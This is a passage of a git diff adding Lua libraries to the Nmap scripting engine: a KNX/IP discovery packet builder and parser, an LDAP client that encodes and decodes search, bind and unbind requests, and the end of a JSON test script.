+ local status, val = parse(test[1])
+ if test.valid == false then
+ test_suite:add_test(is_false(status), "Syntax error status is false")
+ if not test.test then
+ test_suite:add_test(equal(val, "syntax error"), "Syntax error")
+ end
+ end
+ if test.generates then
+ test_suite:add_test(equal(generate(val), test.generates), "Generate")
+ end
+ if test.is then
+ test_suite:add_test(equal(typeof(val), test.is), "JSON type")
+ end
+ if test.test then
+ test_suite:add_test(is_true(test.test(val)), "Extra test")
+ end
+end
+
+return _ENV;
diff --git a/nselib/knx.lua b/nselib/knx.lua
new file mode 100644
index 0000000..64cc58c
--- /dev/null
+++ b/nselib/knx.lua
@@ -0,0 +1,87 @@
+--- Functions for communicating with Konnex (KNX) devices
+--
+-- @author Niklaus Schiess, Dominik Schneider
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name knx
+
+local ipOps = require "ipOps"
+local string = require "string"
+local _ENV = {}
+
+knxServiceFamilies = {
+ [0x02]="KNXnet/IP Core",
+ [0x03]="KNXnet/IP Device Management",
+ [0x04]="KNXnet/IP Tunnelling",
+ [0x05]="KNXnet/IP Routing",
+ [0x06]="KNXnet/IP Remote Logging",
+ [0x08]="KNXnet/IP Object Server",
+ [0x07]="KNXnet/IP Remote Configuration and Diagnosis"
+}
+
+knxDibDescriptionTypes = {
+ [0x01]="Device Information",
+ [0x02]="Supp_Svc_families",
+ [0x03]="IP_Config",
+ [0x04]="IP_Cur_Config",
+ [0x05]="IP_Config"
+}
+
+knxMediumTypes = {
+ [0x01]="reserved",
+ [0x02]="KNX TP1",
+ [0x04]="KNX PL110",
+ [0x08]="reserved",
+ [0x10]="KNX RF",
+ [0x20]="KNX IP"
+}
+
+--- Returns a raw knx request
+-- @param service KNX service type of the request
+-- @param ip_address IP address of the sending host
+-- @param port Port where gateways should respond to
+query = function(service, ip_address, port)
+ return string.pack(">BB I2 I2 BB I4 I2",
+ 0x06, -- Header length
+ 0x10, -- Protocol version
+ service, -- Service type
+ 0x000e, -- Total length
+ 0x08, -- Structure length
+ 0x01, -- Host protocol
+ ipOps.todword(ip_address),
+ port
+ )
+end
+
+--- Parse a KNX address from raw bytes
+-- @param addr Unpacked 2 bytes
+-- @return KNX address in dotted-decimal format
+parseKnxAddress = function(addr)
+ local a = (addr & 0xf000) >> 12
+ local b = (addr & 0x0f00) >> 8
+ local c = addr & 0xff
+ return a..'.'..b..'.'..c
+end
+
+--- Parse a KNX header
+-- @param knxMessage A KNX message packet as a string
+-- @return knx_header_length, or nil on error
+-- @return knx_protocol_version, or error message
+-- @return knx_service_type
+-- @return knx_total_length
+-- @return pos The position just after the header
+parseHeader = function(knxMessage)
+ if #knxMessage < 6 then
+ return nil, "Message too short for KNX header"
+ end
+ local knx_header_length, knx_protocol_version, knx_service_type, knx_total_length, pos = string.unpack(">BB I2 I2", knxMessage)
+
+ -- TODO: Should this be 'or' instead of 'and'?
+ if knx_header_length ~= 0x06 and knx_protocol_version ~= 0x10 and knx_service_type ~= 0x0204 then
+ return nil, "Unknown KNX header format"
+ end
+
+ return knx_header_length, knx_protocol_version, knx_service_type, knx_total_length, pos
+end
+
+return _ENV
diff --git a/nselib/ldap.lua b/nselib/ldap.lua
new file mode 100644
index 0000000..ffaded2
--- /dev/null
+++ b/nselib/ldap.lua
@@ -0,0 +1,917 @@
+---
+-- Library methods for handling LDAP.
+--
+-- @author Patrik Karlsson
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- Credit goes out to Martin Swende who provided me with the initial code that got me started writing this.
+--
+-- Version 0.8
+-- Created 01/12/2010 - v0.1 - Created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/28/2010 - v0.2 - Revised to fit better fit ASN.1 library
+-- Revised 02/02/2010 - v0.3 - Revised to fit OO ASN.1 Library
+-- Revised 09/05/2011 - v0.4 - Revised to include support for writing output to file, added decoding certain time
+-- formats
+-- Revised 10/29/2011 - v0.5 - Added support for performing wildcard searches via the substring filter.
+-- Revised 10/30/2011 - v0.6 - Added support for the ldap extensibleMatch filter type for searches
+-- Revised 04/04/2016 - v0.7 - Added support for searchRequest over upd ( udpSearchRequest ) - Tom Sellers
+-- Revised 07/11/2017 - v0.8 - Added support for decoding the objectSID Active Directory attribute - Tom Sellers
+--
+
+local asn1 = require "asn1"
+local datetime = require "datetime"
+local io = require "io"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local comm = require "comm"
+_ENV = stdnse.module("ldap", stdnse.seeall)
+
+local ldapMessageId = 1
+
+ERROR_MSG = {}
+ERROR_MSG[1] = "Initialization of LDAP library failed."
+ERROR_MSG[4] = "Size limit exceeded."
+ERROR_MSG[13] = "Confidentiality required"
+ERROR_MSG[32] = "No such object"
+ERROR_MSG[34] = "Invalid DN"
+ERROR_MSG[49] = "The supplied credential is invalid."
+
+ERRORS = {
+ LDAP_SUCCESS = 0,
+ LDAP_SIZELIMIT_EXCEEDED = 4
+}
+
+--- Application constants
+-- @class table
+-- @name APPNO
+APPNO = {
+ BindRequest = 0,
+ BindResponse = 1,
+ UnbindRequest = 2,
+ SearchRequest = 3,
+ SearchResponse = 4,
+ SearchResDone = 5
+}
+
+-- Filter operation constants
+FILTER = {
+ _and = 0,
+ _or = 1,
+ _not = 2,
+ equalityMatch = 3,
+ substrings = 4,
+ greaterOrEqual = 5,
+ lessOrEqual = 6,
+ present = 7,
+ approxMatch = 8,
+ extensibleMatch = 9
+}
+
+-- Scope constants
+SCOPE = {
+ base=0,
+ one=1,
+ sub= 2,
+ children=3,
+ default = 0
+}
+
+-- Deref policy constants
+DEREFPOLICY = {
+ never=0,
+ searching=1,
+ finding = 2,
+ always=3,
+ default = 0
+}
+
+-- LDAP specific tag encoders
+local tagEncoder = {}
+
+tagEncoder['table'] = function(self, val)
+ if (val._ldap == '\x0A') then
+ local ival = self.encodeInt(val[1])
+ local len = self.encodeLength(#ival)
+ return val._ldap .. len .. ival
+ end
+ if (val._ldaptype) then
+ local len
+ if val[1] == nil or #val[1] == 0 then
+ return val._ldaptype .. '\0'
+ else
+ len = self.encodeLength(#val[1])
+ return val._ldaptype .. len .. val[1]
+ end
+ end
+
+ local encVal = ""
+ for _, v in ipairs(val) do
+ encVal = encVal .. encode(v) -- todo: buffer?
+ end
+ local tableType = val._snmp or "\x30"
+ return tableType .. self.encodeLength(#encVal) .. encVal
+
+end
+
+---
+-- Encodes a given value according to ASN.1 basic encoding rules for SNMP
+-- packet creation.
+-- @param val Value to be encoded.
+-- @return Encoded value.
+function encode(val)
+
+ local encoder = asn1.ASN1Encoder:new()
+ local encValue
+
+ encoder:registerTagEncoders(tagEncoder)
+ encValue = encoder:encode(val)
+
+ if encValue then
+ return encValue
+ end
+
+ return ''
+end
+
+
+-- LDAP specific tag decoders
+local tagDecoder = {}
+
+tagDecoder["\x0A"] = function( self, encStr, elen, pos )
+ return self.decodeInt(encStr, elen, pos)
+end
+
+tagDecoder["\x8A"] = function( self, encStr, elen, pos )
+ return string.unpack("c" .. elen, encStr, pos)
+end
+
+-- null decoder
+tagDecoder["\x31"] = function( self, encStr, elen, pos )
+ return nil, pos
+end
+
+
+---
+-- Decodes an LDAP packet or a part of it according to ASN.1 basic encoding
+-- rules.
+-- @param encStr Encoded string.
+-- @param pos Current position in the string.
+-- @return The decoded value(s).
+-- @return The position after decoding
+function decode(encStr, pos)
+ -- register the LDAP specific tag decoders
+ local decoder = asn1.ASN1Decoder:new()
+ decoder:registerTagDecoders( tagDecoder )
+ return decoder:decode( encStr, pos )
+end
+
+
+---
+-- Decodes a sequence according to ASN.1 basic encoding rules.
+-- @param encStr Encoded string.
+-- @param len Length of sequence in bytes.
+-- @param pos Current position in the string.
+-- @return The decoded sequence as a table.
+-- @return The position after decoding.
+local function decodeSeq(encStr, len, pos)
+ local seq = {}
+ local sPos = 1
+ if #encStr - pos + 1 < len then
+ return seq, nil
+ end
+ local sStr, newpos = string.unpack("c" .. len, encStr, pos)
+ while (sPos < len) do
+ local newSeq
+ newSeq, sPos = decode(sStr, sPos)
+ table.insert(seq, newSeq)
+ end
+ return seq, newpos
+end
+
+-- Encodes an LDAP Application operation and its data as a sequence
+--
+-- @param appno LDAP application number
+-- @see APPNO
+-- @param isConstructed boolean true if constructed, false if primitive
+-- @param data string containing the LDAP operation content
+-- @return string containing the encoded LDAP operation
+function encodeLDAPOp( appno, isConstructed, data )
+ local encoded_str = ""
+ local asn1_type = asn1.BERtoInt( asn1.BERCLASS.Application, isConstructed, appno )
+
+ encoded_str = encode( { _ldaptype = string.pack("B", asn1_type), data } )
+ return encoded_str
+end
+
+--- Performs an LDAP Search request
+--
+-- This function has a concept of softerrors which populates the return tables error information
+-- while returning a true status. The reason for this is that LDAP may return a number of records
+-- and then finish off with an error like SIZE LIMIT EXCEEDED. We still want to return the records
+-- that were received prior to the error. In order to achieve this and not terminating the script
+-- by returning a false status a true status is returned together with a table containing all searchentries.
+-- This table has the <code>errorMessage</code> and <code>resultCode</code> entries set with the error information.
+-- As a <code>try</code> won't catch this error it's up to the script to do so. See ldap-search.nse for an example.
+--
+-- @param socket socket already connected to the ldap server
+-- @param params table containing at least <code>scope</code>, <code>derefPolicy</code>, <code>baseObject</code>
+-- the field <code>maxObjects</code> may also be included to restrict the amount of records returned
+-- @return success true or false.
+-- @return searchResEntries containing results or a string containing error message
+function searchRequest( socket, params )
+
+ local searchResEntries = { errorMessage="", resultCode = 0}
+ local catch = function() socket:close() stdnse.debug1("SearchRequest failed") end
+ local try = nmap.new_try(catch)
+ local attributes = params.attributes
+ local request = encode(params.baseObject)
+ local attrSeq = ''
+ local requestData, messageSeq, data
+ local maxObjects = params.maxObjects or -1
+
+ local encoder = asn1.ASN1Encoder:new()
+ local decoder = asn1.ASN1Decoder:new()
+
+ encoder:registerTagEncoders(tagEncoder)
+ decoder:registerTagDecoders(tagDecoder)
+
+ request = request .. encode( { _ldap='\x0A', params.scope } )--scope
+ request = request .. encode( { _ldap='\x0A', params.derefPolicy } )--derefpolicy
+ request = request .. encode( params.sizeLimit or 0)--sizelimit
+ request = request .. encode( params.timeLimit or 0)--timelimit
+ request = request .. encode( params.typesOnly or false)--TypesOnly
+
+ if params.filter then
+ request = request .. createFilter( params.filter )
+ else
+ request = request .. encode( { _ldaptype='\x87', "objectclass" } )-- filter : string, presence
+ end
+ if attributes~= nil then
+ for _,attr in ipairs(attributes) do
+ attrSeq = attrSeq .. encode(attr)
+ end
+ end
+
+ request = request .. encoder:encodeSeq(attrSeq)
+ requestData = encodeLDAPOp(APPNO.SearchRequest, true, request)
+ messageSeq = encode(ldapMessageId)
+ ldapMessageId = ldapMessageId +1
+ messageSeq = messageSeq .. requestData
+ data = encoder:encodeSeq(messageSeq)
+ try( socket:send( data ) )
+ data = ""
+
+ while true do
+ local len, pos, messageId = 0, 2, -1
+ local tmp = ""
+ local _, objectName, attributes, ldapOp
+ local attributes
+ local searchResEntry = {}
+
+ if ( maxObjects == 0 ) then
+ break
+ elseif ( maxObjects > 0 ) then
+ maxObjects = maxObjects - 1
+ end
+
+ if data:len() > 6 then
+ len, pos = decoder.decodeLength( data, pos )
+ else
+ data = data .. try( socket:receive() )
+ len, pos = decoder.decodeLength( data, pos )
+ end
+ -- pos should be at the right position regardless if length is specified in 1 or 2 bytes
+ while ( len + pos - 1 > data:len() ) do
+ data = data .. try( socket:receive() )
+ end
+
+ messageId, pos = decode( data, pos )
+ tmp, pos = string.unpack("B", data, pos)
+ len, pos = decoder.decodeLength( data, pos )
+ ldapOp = asn1.intToBER( tmp )
+ searchResEntry = {}
+
+ if ldapOp.number == APPNO.SearchResDone then
+ searchResEntry.resultCode, pos = decode( data, pos )
+ -- errors may occur after a large amount of data has been received (eg. size limit exceeded)
+ -- we want to be able to return the data received prior to this error to the user
+ -- however, we also need to alert the user of the error. This is achieved through "softerrors"
+ -- softerrors populate the error fields of the table while returning a true status
+ -- this allows for the caller to output data while still being able to catch the error
+ if ( searchResEntry.resultCode ~= 0 ) then
+ local error_msg
+ searchResEntry.matchedDN, pos = decode( data, pos )
+ searchResEntry.errorMessage, pos = decode( data, pos )
+ error_msg = ERROR_MSG[searchResEntry.resultCode]
+ -- if the table is empty return a hard error
+ if #searchResEntries == 0 then
+ return false, string.format("Code: %d|Error: %s|Details: %s", searchResEntry.resultCode, error_msg or "", searchResEntry.errorMessage or "" )
+ else
+ searchResEntries.errorMessage = string.format("Code: %d|Error: %s|Details: %s", searchResEntry.resultCode, error_msg or "", searchResEntry.errorMessage or "" )
+ searchResEntries.resultCode = searchResEntry.resultCode
+ return true, searchResEntries
+ end
+ end
+ break
+ end
+
+ searchResEntry.objectName, pos = decode( data, pos )
+ if ldapOp.number == APPNO.SearchResponse then
+ searchResEntry.attributes, pos = decode( data, pos )
+
+ table.insert( searchResEntries, searchResEntry )
+ end
+ if data:len() > pos then
+ data = data:sub(pos)
+ else
+ data = ""
+ end
+ end
+ return true, searchResEntries
+end
+
+--- Performs an LDAP Search request over UDP
+--
+-- This function has a concept of softerrors which populates the return tables error information
+-- while returning a true status. The reason for this is that LDAP may return a number of records
+-- and then finish off with an error like SIZE LIMIT EXCEEDED. We still want to return the records
+-- that were received prior to the error. In order to achieve this and not terminating the script
+-- by returning a false status a true status is returned together with a table containing all searchentries.
+-- This table has the <code>errorMessage</code> and <code>resultCode</code> entries set with the error information.
+-- As a <code>try</code> won't catch this error it's up to the script to do so. See ldap-search.nse for an example.
+--
+-- @param host The host to connect to
+-- @param port The port on the host
+-- @param params table containing at least <code>scope</code>, <code>derefPolicy</code>, <code>baseObject</code>
+-- the field <code>maxObjects</code> may also be included to restrict the amount of records returned
+-- @return success true or false.
+-- @return searchResEntries containing results or a string containing error message
+
+function udpSearchRequest( host, port, params )
+
+ local searchResEntries = { errorMessage="", resultCode = 0}
+ local catch = function() stdnse.debug1("udpSearchRequest failed") end
+ local try = nmap.new_try(catch)
+ local attributes = params.attributes
+ local request = encode(params.baseObject)
+ local attrSeq = ''
+ local requestData, messageSeq, data
+ local maxObjects = params.maxObjects or -1
+
+ local encoder = asn1.ASN1Encoder:new()
+ local decoder = asn1.ASN1Decoder:new()
+
+ encoder:registerTagEncoders(tagEncoder)
+ decoder:registerTagDecoders(tagDecoder)
+
+ request = request .. encode( { _ldap='\x0A', params.scope } )--scope
+ request = request .. encode( { _ldap='\x0A', params.derefPolicy } )--derefpolicy
+ request = request .. encode( params.sizeLimit or 0)--sizelimit
+ request = request .. encode( params.timeLimit or 0)--timelimit
+ request = request .. encode( params.typesOnly or false)--TypesOnly
+
+ if params.filter then
+ request = request .. createFilter( params.filter )
+ else
+ request = request .. encode( { _ldaptype='\x87', "objectclass" } )-- filter : string, presence
+ end
+ if attributes~= nil then
+ for _,attr in ipairs(attributes) do
+ attrSeq = attrSeq .. encode(attr)
+ end
+ end
+
+ request = request .. encoder:encodeSeq(attrSeq)
+ requestData = encodeLDAPOp(APPNO.SearchRequest, true, request)
+ messageSeq = encode(ldapMessageId)
+ ldapMessageId = ldapMessageId +1
+ messageSeq = messageSeq .. requestData
+ data = encoder:encodeSeq(messageSeq)
+ local status, response = comm.exchange(host, port, data)
+
+ while true do
+ local len, pos, messageId = 0, 0, -1
+ local tmp = ""
+ local _, objectName, attributes, ldapOp
+ local attributes
+ local searchResEntry = {}
+
+ if ( maxObjects == 0 ) then
+ break
+ elseif ( maxObjects > 0 ) then
+ maxObjects = maxObjects - 1
+ end
+
+ tmp, pos = string.unpack("B", response, pos)
+ len, pos = decoder.decodeLength( response, pos )
+ messageId, pos = decode( response, pos )
+ tmp, pos = string.unpack("B", response, pos)
+ len, pos = decoder.decodeLength( response, pos )
+ ldapOp = asn1.intToBER( tmp )
+ searchResEntry = {}
+
+ if ldapOp.number == APPNO.SearchResDone then
+ searchResEntry.resultCode, pos = decode( response, pos )
+ -- errors may occur after a large amount of response has been received (eg. size limit exceeded)
+ -- we want to be able to return the response received prior to this error to the user
+ -- however, we also need to alert the user of the error. This is achieved through "softerrors"
+ -- softerrors populate the error fields of the table while returning a true status
+ -- this allows for the caller to output response while still being able to catch the error
+ if ( searchResEntry.resultCode ~= 0 ) then
+ local error_msg
+ searchResEntry.matchedDN, pos = decode( response, pos )
+ searchResEntry.errorMessage, pos = decode( response, pos )
+ error_msg = ERROR_MSG[searchResEntry.resultCode]
+ -- if the table is empty return a hard error
+ if #searchResEntries == 0 then
+ return false, string.format("Code: %d|Error: %s|Details: %s", searchResEntry.resultCode, error_msg or "", searchResEntry.errorMessage or "" )
+ else
+ searchResEntries.errorMessage = string.format("Code: %d|Error: %s|Details: %s", searchResEntry.resultCode, error_msg or "", searchResEntry.errorMessage or "" )
+ searchResEntries.resultCode = searchResEntry.resultCode
+ return true, searchResEntries
+ end
+ end
+ break
+ end
+
+ searchResEntry.objectName, pos = decode( response, pos )
+ if ldapOp.number == APPNO.SearchResponse then
+ searchResEntry.attributes, pos = decode( response, pos )
+ table.insert( searchResEntries, searchResEntry )
+ end
+ if response:len() > pos then
+ response = response:sub(pos)
+ else
+ response = ""
+ end
+ end
+ return true, searchResEntries
+end
+
+--- Attempts to bind to the server using the credentials given
+--
+-- @param socket socket already connected to the ldap server
+-- @param params table containing <code>version</code>, <code>username</code> and <code>password</code>
+-- @return success true or false
+-- @return err string containing error message
+function bindRequest( socket, params )
+
+ local catch = function() socket:close() stdnse.debug1("bindRequest failed") end
+ local try = nmap.new_try(catch)
+ local ldapAuth = encode( { _ldaptype = '\x80', params.password } )
+ local bindReq = encode( params.version ) .. encode( params.username ) .. ldapAuth
+ local ldapMsg = encode(ldapMessageId) .. encodeLDAPOp( APPNO.BindRequest, true, bindReq )
+ local packet
+ local pos, packet_len, resultCode, tmp, len, _
+ local response = {}
+
+ local encoder = asn1.ASN1Encoder:new()
+ local decoder = asn1.ASN1Decoder:new()
+
+ encoder:registerTagEncoders(tagEncoder)
+ decoder:registerTagDecoders(tagDecoder)
+
+ packet = encoder:encodeSeq( ldapMsg )
+ ldapMessageId = ldapMessageId +1
+ try( socket:send( packet ) )
+ packet = try( socket:receive() )
+
+ packet_len, pos = decoder.decodeLength( packet, 2 )
+ response.messageID, pos = decode( packet, pos )
+ tmp, pos = string.unpack("B", packet, pos)
+ len, pos = decoder.decodeLength( packet, pos )
+ response.protocolOp = asn1.intToBER( tmp )
+
+ if response.protocolOp.number ~= APPNO.BindResponse then
+ return false, string.format("Received incorrect Op in packet: %d, expected %d", response.protocolOp.number, APPNO.BindResponse)
+ end
+
+ response.resultCode, pos = decode( packet, pos )
+
+ if ( response.resultCode ~= 0 ) then
+ local error_msg
+ response.matchedDN, pos = decode( packet, pos )
+ response.errorMessage, pos = decode( packet, pos )
+ error_msg = ERROR_MSG[response.resultCode]
+ return false, string.format("\n Error: %s\n Details: %s",
+ error_msg or "Unknown error occurred (code: " .. response.resultCode ..
+ ")", response.errorMessage or "" )
+ else
+ return true, "Success"
+ end
+end
+
+--- Performs an LDAP Unbind
+--
+-- @param socket socket already connected to the ldap server
+-- @return success true or false
+-- @return err string containing error message
+function unbindRequest( socket )
+
+ local ldapMsg, packet
+ local catch = function() socket:close() stdnse.debug1("bindRequest failed") end
+ local try = nmap.new_try(catch)
+
+ local encoder = asn1.ASN1Encoder:new()
+ encoder:registerTagEncoders(tagEncoder)
+
+ ldapMessageId = ldapMessageId +1
+ ldapMsg = encode( ldapMessageId ) .. encodeLDAPOp( APPNO.UnbindRequest, false, nil)
+ packet = encoder:encodeSeq( ldapMsg )
+ try( socket:send( packet ) )
+ return true, ""
+end
+
+
+--- Creates an ASN1 structure from a filter table
+--
+-- @param filter table containing the filter to be created
+-- @return string containing the ASN1 byte sequence
+function createFilter( filter )
+
+ local asn1_type = asn1.BERtoInt( asn1.BERCLASS.ContextSpecific, true, filter.op )
+ local filter_str = ""
+
+ if type(filter.val) == 'table' then
+ for _, v in ipairs( filter.val ) do
+ filter_str = filter_str .. createFilter( v )
+ end
+ else
+ local obj = encode( filter.obj )
+ local val = ''
+ if ( filter.op == FILTER['substrings'] ) then
+
+ local tmptable = stringaux.strsplit('*', filter.val)
+ local tmp_result = ''
+
+ if (#tmptable <= 1 ) then
+ -- 0x81 = 10000001 = 10 0 00001
+ -- hex binary Context Primitive value Field: Sequence Value: 1 (any / any position in string)
+ tmp_result = string.pack('Bs1', 0x81, filter.val)
+ else
+ for indexval, substr in ipairs(tmptable) do
+ if (indexval == 1) and (substr ~= '') then
+ -- 0x81 = 10000000 = 10 0 00000
+ -- hex binary Context Primitive value Field: Sequence Value: 0 (initial / match at start of string)
+ tmp_result = '\x80' .. string.char(#substr) .. substr
+ end
+
+ if (indexval ~= #tmptable) and (indexval ~= 1) and (substr ~= '') then
+ -- 0x81 = 10000001 = 10 0 00001
+ -- hex binary Context Primitive value Field: Sequence Value: 1 (any / match in any position in string)
+ tmp_result = tmp_result .. string.pack('Bs1', 0x81, substr)
+ end
+
+ if (indexval == #tmptable) and (substr ~= '') then
+ -- 0x82 = 10000010 = 10 0 00010
+ -- hex binary Context Primitive value Field: Sequence Value: 2 (final / match at end of string)
+ tmp_result = tmp_result .. string.pack('Bs1', 0x82, substr)
+ end
+ end
+ end
+
+ val = asn1.ASN1Encoder:encodeSeq( tmp_result )
+
+ elseif ( filter.op == FILTER['extensibleMatch'] ) then
+
+ local tmptable = stringaux.strsplit(':=', filter.val)
+ local tmp_result = ''
+ local OID, bitmask
+
+ if ( tmptable[1] ~= nil ) then
+ OID = tmptable[1]
+ else
+ return false, ("ERROR: Invalid extensibleMatch query format")
+ end
+
+ if ( tmptable[2] ~= nil ) then
+ bitmask = tmptable[2]
+ else
+ return false, ("ERROR: Invalid extensibleMatch query format")
+ end
+
+ tmp_result = string.pack('Bs1 Bs1 Bs1 Bs1',
+ -- Format and create matchingRule using OID
+ -- 0x81 = 10000001 = 10 0 00001
+ -- hex binary Context Primitive value Field: matchingRule Value: 1
+ 0x81, OID,
+
+ -- Format and create type using ldap attribute
+ -- 0x82 = 10000010 = 10 0 00010
+ -- hex binary Context Primitive value Field: Type Value: 2
+ 0x82, filter.obj,
+
+ -- Format and create matchValue using bitmask
+ -- 0x83 = 10000011 = 10 0 00011
+ -- hex binary Context Primitive value Field: matchValue Value: 3
+ 0x83, bitmask,
+
+ -- Format and create dnAttributes, defaulting to false
+ -- 0x84 = 10000100 = 10 0 00100
+ -- hex binary Context Primitive value Field: dnAttributes Value: 4
+ -- 0x00 = boolean value, in this case false
+ 0x84, '\x00')
+
+ -- Format the overall extensibleMatch block
+ -- 0xa9 = 10101001 = 10 1 01001
+ -- hex binary Context Constructed Field: Filter Value: 9 (extensibleMatch)
+ return '\xa9' .. asn1.ASN1Encoder.encodeLength(#tmp_result) .. tmp_result
+
+ else
+ val = encode( filter.val )
+ end
+
+ filter_str = filter_str .. obj .. val
+
+ end
+ return encode( { _ldaptype=string.pack("B", asn1_type), filter_str } )
+end
+
+--- Converts a search result as received from searchRequest to a "result" table
+--
+-- Does some limited decoding of LDAP attributes
+--
+-- TODO: Add decoding of missing attributes
+-- TODO: Add decoding of userParameters
+-- TODO: Add decoding of loginHours
+--
+-- @param searchEntries table as returned from searchRequest
+-- @return table suitable for <code>stdnse.format_output</code>
+function searchResultToTable( searchEntries )
+ local result = {}
+ for _, v in ipairs( searchEntries ) do
+ local result_part = {}
+ if v.objectName and v.objectName:len() > 0 then
+ result_part.name = string.format("dn: %s", v.objectName)
+ else
+ result_part.name = "<ROOT>"
+ end
+
+ local attribs = {}
+ if ( v.attributes ~= nil ) then
+ for _, attrib in ipairs( v.attributes ) do
+ for i=2, #attrib do
+ -- do some additional Windows decoding
+ if ( attrib[1] == "objectSid" ) then
+ table.insert( attribs, string.format( "%s: %s", attrib[1], convertObjectSid( attrib[i] ) ) )
+ elseif ( attrib[1] == "objectGUID") then
+ local o = {string.unpack(("B"):rep(16), attrib[i] )}
+ table.insert( attribs, string.format( "%s: %x%x%x%x-%x%x-%x%x-%x%x-%x%x%x%x%x%x",
+ attrib[1], o[4], o[3], o[2], o[1], table.unpack(o, 5, 16)))
+ elseif ( attrib[1] == "lastLogon" or attrib[1] == "lastLogonTimestamp" or attrib[1] == "pwdLastSet" or attrib[1] == "accountExpires" or attrib[1] == "badPasswordTime" ) then
+ table.insert( attribs, string.format( "%s: %s", attrib[1], convertADTimeStamp(attrib[i]) ) )
+ elseif ( attrib[1] == "whenChanged" or attrib[1] == "whenCreated" or attrib[1] == "dSCorePropagationData" ) then
+ table.insert( attribs, string.format( "%s: %s", attrib[1], convertZuluTimeStamp(attrib[i]) ) )
+ else
+ table.insert( attribs, string.format( "%s: %s", attrib[1], attrib[i] ) )
+ end
+ end
+ end
+ table.insert( result_part, attribs )
+ end
+ table.insert( result, result_part )
+ end
+ return result
+end
+
+--- Saves a search result as received from searchRequest to a file
+--
+-- Does some limited decoding of LDAP attributes
+--
+-- TODO: Add decoding of missing attributes
+-- TODO: Add decoding of userParameters
+-- TODO: Add decoding of loginHours
+--
+-- @param searchEntries table as returned from searchRequest
+-- @param filename the name of a save to save results to
+-- @return table suitable for <code>stdnse.format_output</code>
+function searchResultToFile( searchEntries, filename )
+
+ local f = io.open( filename, "w")
+
+ if ( not(f) ) then
+ return false, ("ERROR: Failed to open file (%s)"):format(filename)
+ end
+
+ -- Build table structure. Using a multi pass approach ( build table then populate table )
+ -- because the objects returned may not necessarily have the same number of attributes
+ -- making single pass CSV output generation problematic.
+ -- Unfortunately the searchEntries table passed to this function is not organized in a
+ -- way that make particular attributes for a given hostname directly addressable.
+ --
+ -- At some point restructuring the searchEntries table may be a good optimization target
+
+ -- build table of attributes
+ local attrib_table = {}
+ for _, v in ipairs( searchEntries ) do
+ if ( v.attributes ~= nil ) then
+ for _, attrib in ipairs( v.attributes ) do
+ for i=2, #attrib do
+ if ( attrib_table[attrib[1]] == nil ) then
+ attrib_table[attrib[1]] = ''
+ end
+ end
+ end
+ end
+ end
+
+ -- build table of hosts
+ local host_table = {}
+ for _, v in ipairs( searchEntries ) do
+ if v.objectName and v.objectName:len() > 0 then
+ local host = {}
+
+ if v.objectName and v.objectName:len() > 0 then
+ -- use a copy of the table here, assigning attrib_table into host_table
+ -- links the values so setting it for one host changes the specific attribute
+ -- values for all hosts.
+ host_table[v.objectName] = {attributes = copyTable(attrib_table) }
+ end
+ end
+ end
+
+ -- populate the host table with values for each attribute that has valid data
+ for _, v in ipairs( searchEntries ) do
+ if ( v.attributes ~= nil ) then
+ for _, attrib in ipairs( v.attributes ) do
+ for i=2, #attrib do
+ -- do some additional Windows decoding
+ if ( attrib[1] == "objectSid" ) then
+ host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = string.format( "%s", convertObjectSid(attrib[i]))
+
+ elseif ( attrib[1] == "objectGUID") then
+ local o = {string.unpack(("B"):rep(16), attrib[i] )}
+ host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = string.format(
+ "%s: %x%x%x%x-%x%x-%x%x-%x%x-%x%x%x%x%x%x",
+ attrib[1], o[4], o[3], o[2], o[1], table.unpack(o, 5, 16))
+
+ elseif ( attrib[1] == "lastLogon" or attrib[1] == "lastLogonTimestamp" or attrib[1] == "pwdLastSet" or attrib[1] == "accountExpires" or attrib[1] == "badPasswordTime" ) then
+ host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = convertADTimeStamp(attrib[i])
+
+ elseif ( attrib[1] == "whenChanged" or attrib[1] == "whenCreated" or attrib[1] == "dSCorePropagationData" ) then
+ host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = convertZuluTimeStamp(attrib[i])
+
+ else
+ host_table[v.objectName].attributes[attrib[1]] = string.format( "%s", attrib[i] )
+ end
+
+ end
+ end
+ end
+ end
+
+ -- write the new, fully populated table out to CSV
+
+ -- initialize header row
+ local output = "\"name\""
+ for attribute, value in pairs(attrib_table) do
+ output = output .. ",\"" .. attribute .. "\""
+ end
+ output = output .. "\n"
+
+ -- gather host data from fields, add to output.
+ for name, attribs in pairs(host_table) do
+ output = output .. "\"" .. name .. "\""
+ local host_attribs = attribs.attributes
+ for attribute, value in pairs(attrib_table) do
+ output = output .. ",\"" .. host_attribs[attribute] .. "\""
+ end
+ output = output .. "\n"
+ end
+
+ -- write the output to file
+ if ( not(f:write( output .."\n" ) ) ) then
+ f:close()
+ return false, ("ERROR: Failed to write file (%s)"):format(filename)
+ end
+
+ f:close()
+ return true
+end
+
+
+--- Extract naming context from a search response
+--
+-- @param searchEntries table containing searchEntries from a searchResponse
+-- @param attributeName string containing the attribute to extract
+-- @return table containing the attribute values
+function extractAttribute( searchEntries, attributeName )
+ local attributeTbl = {}
+ for _, v in ipairs( searchEntries ) do
+ if ( v.attributes ~= nil ) then
+ for _, attrib in ipairs( v.attributes ) do
+ local attribType = attrib[1]
+ for i=2, #attrib do
+ if ( attribType:upper() == attributeName:upper() ) then
+ table.insert( attributeTbl, attrib[i])
+ end
+ end
+ end
+ end
+ end
+ return ( #attributeTbl > 0 and attributeTbl or nil )
+end
+
+--- Convert Microsoft Active Directory timestamp format to a human readable form
+-- These values store time values in 100 nanoseconds segments from 01-Jan-1601
+--
+-- @param timestamp Microsoft Active Directory timestamp value
+-- @return string containing human readable form
+function convertADTimeStamp(timestamp)
+
+ local result = 0
+ -- Windows cannot represent this time, so we pre-calculated it:
+ -- seconds since 1601/1/1 adjusted for local offset
+ local base_time = -11644473600 - datetime.utc_offset()
+
+ timestamp = tonumber(timestamp)
+
+ if (timestamp and timestamp > 0) then
+
+ -- The result value was 3036 seconds off what Microsoft says it should be.
+ -- I have been unable to find an explanation for this, and have resorted to
+ -- manually adjusting the formula.
+
+ result = ( timestamp // 10000000 ) - 3036
+ result = result + base_time
